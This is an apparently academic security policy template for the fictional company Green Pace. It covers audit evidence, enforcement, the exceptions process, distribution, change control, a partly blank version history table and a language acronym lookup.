Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

# Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

# Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

# Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

# Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

# Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

# Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |

# Appendix A Lookups

## Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |